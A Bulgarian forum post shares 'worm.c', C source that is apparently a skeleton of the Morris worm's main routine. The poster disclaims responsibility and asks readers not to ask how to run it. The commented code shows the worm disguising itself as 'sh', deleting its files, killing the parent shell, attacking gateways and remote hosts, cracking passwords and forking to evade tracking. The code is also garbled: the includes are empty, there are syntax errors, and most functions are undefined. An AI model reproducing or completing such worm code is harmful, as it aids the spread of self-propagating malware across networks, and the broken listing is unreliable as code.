Ето ви едно "червейче" worm.c. Писано е на C.
Ще бъда добър да ви дам кода,но другото си го понасяте вие.
Без въпроси как се пуска или как да го ползвам моля!
	Код:
	666 The Dead Zone 214-522-5321 300/1200/2400 666
#include 
#include 
#include 
#include 
long current_time;
struct rlimit no_core = {0,0};
int
main (argc, argv)
	int argc;
	char *argv[];
{
	int n;
	int parent = 0;
	int okay = 0;
		/* change calling name to "sh" */
	strcpy(argv[0], "sh");
		/* prevent core files by setting limit to 0 */
	setrlimit(RLIMIT_CORE, no_core);
	current_time = time(0);
		/* seed random number generator with time */
	srand48(current_time);
	n = 1;
	while (argv[n]) {
		/* save process id of parent */
		if (!strncmp(argv[n], "-p", 2)) {
			parent = atoi (argv[++n]);
			n++;
		}
		else {
			/* check for 1l.c in argument list */
			if (!strncmp(argv([n], "1l.c", 4))
				okay = 1;
			/* load an object file into memory */
			load_object (argv[n];
			/* clean up by unlinking file */
			if (parent)
				unlink (argv[n]);
			/* and removing object file name */
			strcpy (argv[n++], "");
		}
	
	}
		/* if 1l.c was not in argument list, quit */
	if (!okay)
		exit (0);
		/* reset process group */
	setpgrp (getpid());
		/* kill parent shell if parent is set */
	if (parent)
		kill(parent, SIGHUP);
		/* scan for network interfaces */
	if_init();
		/* collect list of gateways from netstat */
	rt_init();
		/* start main loop */
	doit();
}
int
doit()
{
	current_time = time (0);
		/* seed random number generator (again) */
	srand48(current_time);
		/* attack gateways, local nets, remote nets */
	attack_hosts();
		/* check for a "listening" worm */
	check_other ()
		/* attempt to send byte to "ernie" */
	send_message ()
	for (;;) {
		/* crack some passwords */
	crack_some ();
		/* sleep or listen for other worms */
	other_sleep (30);
	crack_some ();
		/* switch process id's */
		if (fork())
			/* parent exits, new worm continues */
			exit (0);
		/* attack gateways, known hosts */
		attack_hosts();
		other_sleep(120);
			/* if 12 hours have passed, reset hosts */
		if(time (0) == current_time + (3600*12)) {
			reset_hosts();
			current_time = time(0); }
			/* quit if pleasequit is set, and nextw>10 */
		if (pleasequit && nextw > 10)
			exit (0);
	}
}